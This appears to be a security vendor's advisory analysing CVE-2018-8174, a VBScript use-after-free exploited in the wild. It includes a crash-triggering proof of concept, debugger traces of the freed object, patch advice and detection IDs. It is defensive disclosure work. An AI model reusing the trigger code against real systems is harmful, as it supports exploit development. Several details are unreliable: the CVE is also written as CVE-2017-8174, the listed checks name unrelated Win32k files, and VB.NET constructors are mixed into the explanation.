A Zero-Day vulnerability in VBScript was disclosed to Microsoft. The vulnerability was discovered as an active attack in the wild. The bug is in the VBScript engine used in Windows. Its classified as a Use-After-Free (UAF) vulnerability. CVE-2017-8174 is assigned to track this bug.
Currently attackers are exploiting this vulnerability to execute shellcode and PowerShell script to download payloads from remote servers. The initial attacker vector is a crafted MS Word document which exploits CVE-2017-0199 to download the exploit for CVE-2018-8174. Basically its trying to render a web page using IE engine and this page contains the VBScript exploit. This attack is attributed to the APT-C-06 group.
Vulnerability
As mentioned earlier it is a UAF vulnerability. Upon successful exploitation an attacker can achieve remote code execution (RCE). The attack has been named as “double kill“, this is due to the fact that the attack is initiated by erasing two object variable one after the other, both object variables are referring to the same class instance.
Background
In VBScript an object is automatically erased/destroyed when its reference count becomes zero. The reference count can be decremented either by setting the object variables to NOTHING or the object variable is out of scope. Please note that object and object variable are different an object variable contains reference to an object not the object itself. Class_Initialize()
and Class_Terminate()
are used to initialize and destroy objects, these methods are replaced by constructor Sub New
and destructor Sub Finalize
.
The root cause of the vulnerability lies in the way VBScript destroys an object, where a destructor Class_Terminate()
is defined, VBScript checks for the type of object and calls the respective function to handle it. For variant type VT_DISPATCH VBScriptClass::Release()
is called to destroy the object, the function checks the reference once and calls TerminateClass()
. The issue occurs because if an overloaded version of TerminateClass()
is called, and if this function creates another reference to the object. No final reference count checks are done before freeing the object the object in question.
On its own this does not cause any damage, unless a second object variable contains the same reference. So even though the first object variable is freed, the second variable points to the freed reference. Any usage of this object variable will result in UAF.
To better understand the vulnerability we will use a PoC that will crash when the vbscript module tries to use a dangling pointer.
Dim ArrA(1) Dim ArrB(1) Class ClassVuln Private Sub Class_Terminate() << Overloaded Class_Terminate method Set ArrB(0) = ArrA(0) << Creating reference to ClassVuln obj ArrA(0) = 31337 End Sub End Class Sub TriggerVuln Set ArrA(0) = New ClassVuln Erase ArrA Erase ArrB End Sub TriggerVuln
Below we can see ArrA
and ArrB
being declared and currently do not contain any values.
'---ArrA----' eax=01493fe8 +0x000 cDims : 1 +0x002 fFeatures : 0x880 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0a9defe0 Void +0x010 rgsabound : [1] tagSAFEARRAYBOUND '---ArrA.pvData----' 0a9defe0 00000000 00000000 00000000 00000000 0a9deff0 00000000 00000000 00000000 00000000 '---ArrB----' eax=0a9c2fe8 +0x000 cDims : 1 +0x002 fFeatures : 0x880 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0a974fe0 Void +0x010 rgsabound : [1] tagSAFEARRAYBOUND '---ArrB.pvData----' 0a974fe0 00000000 00000000 00000000 00000000 0a974ff0 00000000 00000000 00000000 00000000
ArrA.pvData
is the pointer to the contents of the array. This will be populated with a ClassVuln
object. In the debug log below we can see the ClassVuln
object.
'---ArrA----' +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0a9defe0 Void +0x010 rgsabound : [1] tagSAFEARRAYBOUND '---ArrA.pvData----' 0a9defe0 c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0 0a9deff0 00000000 00000000 00000000 00000000 #ClassVuln Object 0:007> dd 0724cfd0 0724cfd0 6b1e1190 00000001 0547af78 075bdf88 0724cfe0 0000075c 00000000 00000000 0a1b2efc 0724cff0 00000000 042f7fe4 00000000 00000000
In the log above we can see ArrA.pvData
contains the ClassVuln
object (0x0724cfd0), At this point ArrB
is still has no elements and is empty. After the assignment we delete the ArrA
via Erase ArrA.
As mentioned earlier VBScriptClass::Release()
is called to destroy the object. The function checks the reference count once and calls the overloaded Class_Terminate()
method defined by us, this is the root cause of the vulnerability, no reference checks are made after this point. The overloaded method creates another reference to the about to be freed ClassVuln
object in ArrB(0)
.
'---ArrA.pvData----' 0:008> dd 0x0a9defe0 0a9defe0 c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0 0a9deff0 00000000 00000000 00000000 00000000 '---ArrB.pvData----' 0:008> dd 0x0a974fe0 0a974fe0 c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0 0a974ff0 00000000 00000000 00000000 00000000
ArrB(0)
refers to the same object as ArrA(0)
. Now the normal erase code continues to execute and releases the ClassVuln
object at ArrA(0) and zeroes out ArrA.pvData
. In the log below we can see the dangling pointer referenced by ArrB.pvData
.
'---ArrB.pvData----' 0:008> dd 0x0a974fe0 0a974fe0 c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0 0a974ff0 00000000 00000000 00000000 00000000 '---Freed memory----' 0:008> dd 0724cfd0 0724cfd0 ???????? ???????? ???????? ???????? 0724cfe0 ???????? ???????? ???????? ???????? 0724cff0 ???????? ???????? ???????? ????????
When we delete ArrB
it tries to free the contents of the ArrB
and ends up trying to deference the dangling pointer. This will crash the application as shown below.
(a30.75c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0724cfd0 ebx=00000020 ecx=00000009 edx=00000000 esi=0a974fe0 edi=00000009 eip=75b349fa esp=04e8b964 ebp=04e8b96c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 OLEAUT32!VariantClear+0xb3: 75b349fa 8b08 mov ecx,dword ptr [eax] ds:0023:0724cfd0=????????
Exploitation
This vulnerability is being exploited by RigEK along with CVE-2016-0189. KiaXin EK has also integrated CVE-2018-8174 as part of its exploit arsenal.
Mitigation
We request organizations to apply the latest patches provided by Microsoft to address CVE-2017-8174. Qualys customers should scan their network with QID: 91447 to detect vulnerable machines and patch them accordingly. The bug was disclosed both by Kaspersky and Qihoo 360 Core Security. Customers can scan with QIDs 91355,110297 to detect machines vulnerable to CVE-2017-0199.
Qualys Detection:
QID:91447 checks for vulnerable version of
– %windir%\System32\Win32kfull.sys on Windows 10 and Windows Server 2016.
– %windir%\System32\Win32k.sys on remaining supported versions of Windows.
Update: The patch for CVE-2018-8174 was found to be incomplete and a double free vulnerability is possible. CVE-2018-8242 is assigned to track this issue and has been addressed by Microsoft in July patch updates. Exploiting this vulnerability may lead to remote code execution on the target machine. Qualys customers can scan using QID: 100339 to detect vulnerable targets.
Please continue to follow Qualys Threat Protection for more coverage on this vulnerability.
References
Analysis of CVE-2018-8174 VBScript 0day and APT actor related to Office targeted attack
The King is dead. Long live the King!
CVE-2018-8174 | Windows VBScript Engine Remote Code Execution Vulnerability
CVE-2018-8174
CVE-2018-8174 (VBScript Engine) and Exploit Kits